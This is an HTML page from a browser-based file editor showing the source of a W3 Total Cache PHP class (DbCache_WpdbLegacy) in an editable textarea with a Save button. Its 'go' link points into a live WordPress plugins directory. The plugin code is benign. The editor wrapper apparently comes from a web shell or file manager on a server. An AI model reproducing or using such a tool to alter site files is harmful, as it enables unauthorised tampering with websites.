<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: DbCache_WpdbLegacy.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
namespace W3TC;

/**
 * class Db
 * Database access mediator, for WordPress &lt; 5.3
 */
class DbCache_WpdbLegacy extends DbCache_WpdbBase {
	private $active_processor_number;
	private $active_processor;
	private $processors;

	private $debug;
	private $request_time_start = 0;

	/*
	 * @param boolean $call_default_constructor
	 */
	public function __construct( $processors = null ) {
		// required to initialize $use_mysqli which is private
		parent::__construct( '', '', '', '' );

		// cant force empty parameter list due to wp requirements
		if ( !is_array( $processors ) )
			throw new Exception( 'called incorrectly, use instance()' );

		$this-&gt;processors = $processors;
		$this-&gt;active_processor = $processors[0];
		$this-&gt;active_processor_number = 0;

		$c = Dispatcher::config();
		$this-&gt;debug = $c-&gt;get_boolean( 'dbcache.debug' );

		if ( $this-&gt;debug )
			$this-&gt;_request_time_start = microtime( true );
	}

	/**
	 * Called by Root_Loader when all w3tc plugins loaded,
	 * i.e. later that object instantiated
	 */
	public function on_w3tc_plugins_loaded() {
		$o = $this;

		if ( $this-&gt;debug ) {
			add_action( 'shutdown', array( $o, 'debug_shutdown' ) );
		}

		add_filter( 'w3tc_footer_comment', array(
				$o, 'w3tc_footer_comment' ) );
		add_action( 'w3tc_usage_statistics_of_request', array(
				$o, 'w3tc_usage_statistics_of_request' ), 10, 1 );

	}

	public function w3tc_footer_comment( $strings ) {
		foreach ( $this-&gt;processors as $processor )
			$strings = $processor-&gt;w3tc_footer_comment( $strings );

		return $strings;
	}

	public function debug_shutdown() {
		$strings = array();
		foreach ( $this-&gt;processors as $processor )
			$strings = $processor-&gt;w3tc_footer_comment( $strings );

		$request_time_total = microtime( true ) - $this-&gt;request_time_start;

		$data = sprintf(
			&quot;\n[%s] [%s] [%s]\n&quot;,
			gmdate( 'r' ),
			isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '',
			round( $request_time_total, 4 )
		) . implode( &quot;\n&quot;, $strings ) . &quot;\n&quot;;
		$data = strtr( $data, '&lt;&gt;', '..' );

		$filename = Util_Debug::log_filename( 'dbcache' );
		@file_put_contents( $filename, $data, FILE_APPEND );
	}

	public function w3tc_usage_statistics_of_request( $storage ) {
		foreach ( $this-&gt;processors as $processor )
			$processor-&gt;w3tc_usage_statistics_of_request( $storage );
	}

	public function flush_cache( $extras = array() ) {
		$v = true;

		foreach ( $this-&gt;processors as $processor )
			$v &amp;= $processor-&gt;flush_cache( $extras );

		return $v;
	}

	public function db_connect( $allow_bail = true ) {
		if ( empty( $this-&gt;dbuser ) ) {
			// skip connection - called from constructor
		} else
			return parent::db_connect( $allow_bail );
	}

	/**
	 * Initializes object after processors configured. Called from instance() only
	 */
	public function initialize() {
		return $this-&gt;active_processor-&gt;initialize();
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function insert( $table, $data, $format = null ) {
		do_action( 'w3tc_db_insert', $table, $data, $format );
		return $this-&gt;active_processor-&gt;insert( $table, $data, $format );
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function query( $query ) {
		return $this-&gt;active_processor-&gt;query( $query );
	}

	public function _escape( $data ) {
		return $this-&gt;active_processor-&gt;_escape( $data );
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function prepare( $query, $args ) {
		$args = func_get_args();
		array_shift( $args );

		// If args were passed as an array (as in vsprintf), move them up
		if ( isset( $args[0] ) &amp;&amp; is_array($args[0]) ) {
			$args = $args[0];
		}

		return $this-&gt;active_processor-&gt;prepare( $query, $args );
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function replace( $table, $data, $format = null ) {
		do_action( 'w3tc_db_replace', $table, $data, $format );
		return $this-&gt;active_processor-&gt;replace( $table, $data, $format );
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function update( $table, $data, $where, $format = null, $where_format = null ) {
		do_action( 'w3tc_db_update', $table, $data, $where, $format,
			$where_format );
		return $this-&gt;active_processor-&gt;update( $table, $data, $where, $format, $where_format );
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function delete( $table, $where, $where_format = null ) {
		do_action( 'w3tc_db_delete', $table, $where, $where_format );
		return $this-&gt;active_processor-&gt;delete( $table, $where, $where_format );
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function init_charset() {
		return $this-&gt;active_processor-&gt;init_charset();
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function set_charset( $dbh, $charset = null, $collate = null ) {
		return $this-&gt;active_processor-&gt;set_charset( $dbh, $charset, $collate );
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function set_sql_mode( $modes = array() ) {
		return $this-&gt;active_processor-&gt;set_sql_mode( $modes );
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function flush() {
		return $this-&gt;active_processor-&gt;flush();
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function check_database_version( $dbh_or_table = false ) {
		return $this-&gt;active_processor-&gt;check_database_version( $dbh_or_table );
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function supports_collation( $dbh_or_table = false ) {
		return $this-&gt;active_processor-&gt;supports_collation( $dbh_or_table );
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function has_cap( $db_cap, $dbh_or_table = false ) {
		return $this-&gt;active_processor-&gt;has_cap( $db_cap, $dbh_or_table );
	}

	/**
	 * Overriten logic of wp_db by processor.
	 */
	public function db_version( $dbh_or_table = false ) {
		return $this-&gt;active_processor-&gt;db_version( $dbh_or_table );
	}

	/**
	 * Default initialization method, calls wp_db apropriate method
	 */
	public function default_initialize() {
		parent::__construct( DB_USER, DB_PASSWORD, DB_NAME, DB_HOST );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_insert( $table, $data, $format = null ) {
		return parent::insert( $table, $data, $format );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_query( $query ) {
		return parent::query( $query );
	}

	public function default__escape( $data ) {
		return parent::_escape( $data );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_prepare( $query, $args ) {
		return parent::prepare( $query, $args );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_replace( $table, $data, $format = null ) {
		return parent::replace( $table, $data, $format );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_update( $table, $data, $where, $format = null, $where_format = null ) {
		return parent::update( $table, $data, $where, $format, $where_format );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_delete( $table, $where, $where_format = null ) {
		return parent::delete( $table, $where, $where_format );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_init_charset() {
		return parent::init_charset();
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_set_charset( $dbh, $charset = null, $collate = null ) {
		return parent::set_charset( $dbh, $charset, $collate );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_set_sql_mode( $modes = array() ) {
		return parent::set_sql_mode( $modes );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_flush() {
		return parent::flush();
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_check_database_version( $dbh_or_table = false ) {
		return parent::check_database_version( $dbh_or_table );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_supports_collation( $dbh_or_table = false ) {
		return parent::supports_collation( $dbh_or_table );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_has_cap( $db_cap, $dbh_or_table = false ) {
		return parent::has_cap( $db_cap, $dbh_or_table );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function default_db_version( $dbh_or_table = false ) {
		return parent::db_version( $dbh_or_table );
	}

	/**
	 * Default implementation, calls wp_db apropriate method
	 */
	public function switch_active_processor( $offset ) {
		$new_processor_number = $this-&gt;active_processor_number + $offset;
		if ( $new_processor_number &lt;= 0 ) {
			$new_processor_number = 0;
		} else if ( $new_processor_number &gt;= count( $this-&gt;processors ) ) {
				$new_processor_number = count( $this-&gt;processors ) - 1;
			}

		$offset_made = $new_processor_number - $this-&gt;active_processor_number;
		$this-&gt;active_processor_number = $new_processor_number;
		$this-&gt;active_processor = $this-&gt;processors[$new_processor_number];

		return $offset_made;
	}
}


/**
 * class CallUnderlying
 */
class _CallUnderlying {
	function __construct( $manager ) {
		$this-&gt;wpdb_mixin = $manager;
	}

	/**
	 * Calls underlying processor's aproptiate method of wp_db
	 */
	function initialize() {
		$switched = $this-&gt;wpdb_mixin-&gt;switch_active_processor( 1 );

		try {
			$r = $this-&gt;wpdb_mixin-&gt;initialize();

			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			return $r;
		} catch ( \Exception $e ) {
			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			throw $e;
		}
	}

	/**
	 * Calls underlying processor's aproptiate method of wp_db
	 */
	function flush() {
		$switched = $this-&gt;wpdb_mixin-&gt;switch_active_processor( 1 );

		try {
			$r = $this-&gt;wpdb_mixin-&gt;flush();

			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			return $r;
		} catch ( \Exception $e ) {
			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			throw $e;
		}
	}

	/**
	 * Calls underlying processor's aproptiate method of wp_db
	 */
	function query( $query ) {
		$switched = $this-&gt;wpdb_mixin-&gt;switch_active_processor( 1 );

		try {
			$r = $this-&gt;wpdb_mixin-&gt;query( $query );

			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			return $r;
		} catch ( \Exception $e ) {
			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			throw $e;
		}
	}

	/**
	 * Calls underlying processor's aproptiate method of wp_db
	 */
	function _escape( $data ) {
		$switched = $this-&gt;wpdb_mixin-&gt;switch_active_processor( 1 );

		try {
			$r = $this-&gt;wpdb_mixin-&gt;_escape( $data );

			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			return $r;
		} catch ( \Exception $e ) {
			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			throw $e;
		}
	}

	/**
	 * Calls underlying processor's aproptiate method of wp_db
	 */
	function prepare( $query, $args ) {
		$switched = $this-&gt;wpdb_mixin-&gt;switch_active_processor( 1 );

		try {
			$r = $this-&gt;wpdb_mixin-&gt;prepare( $query, $args );

			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			return $r;
		} catch ( \Exception $e ) {
			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			throw $e;
		}
	}

	/**
	 * Calls underlying processor's aproptiate method of wp_db
	 */
	function insert( $table, $data, $format = null ) {
		$switched = $this-&gt;wpdb_mixin-&gt;switch_active_processor( 1 );

		try {
			$r = $this-&gt;wpdb_mixin-&gt;insert( $table, $data, $format );

			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			return $r;
		} catch ( \Exception $e ) {
			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			throw $e;
		}
	}

	/**
	 * Calls underlying processor's aproptiate method of wp_db
	 */
	function replace( $table, $data, $format = null ) {
		$switched = $this-&gt;wpdb_mixin-&gt;switch_active_processor( 1 );

		try {
			$r = $this-&gt;wpdb_mixin-&gt;replace( $table, $data, $format );

			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			return $r;
		} catch ( \Exception $e ) {
			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			throw $e;
		}
	}

	/**
	 * Calls underlying processor's aproptiate method of wp_db
	 */
	function update( $table, $data, $where, $format = null, $where_format = null ) {
		$switched = $this-&gt;wpdb_mixin-&gt;switch_active_processor( 1 );

		try {
			$r = $this-&gt;wpdb_mixin-&gt;update( $table, $data, $where, $format, $where_format );

			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			return $r;
		} catch ( \Exception $e ) {
			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			throw $e;
		}
	}

	function delete( $table, $where, $where_format = null ) {
		$switched = $this-&gt;wpdb_mixin-&gt;switch_active_processor( 1 );

		try {
			$r = $this-&gt;wpdb_mixin-&gt;delete( $table, $where, $where_format );

			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			return $r;
		} catch ( \Exception $e ) {
			$this-&gt;wpdb_mixin-&gt;switch_active_processor( -$switched );
			throw $e;
		}
	}
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250807152928%2Fplugins%2Fw3-total-cache'>🔙 Back</a>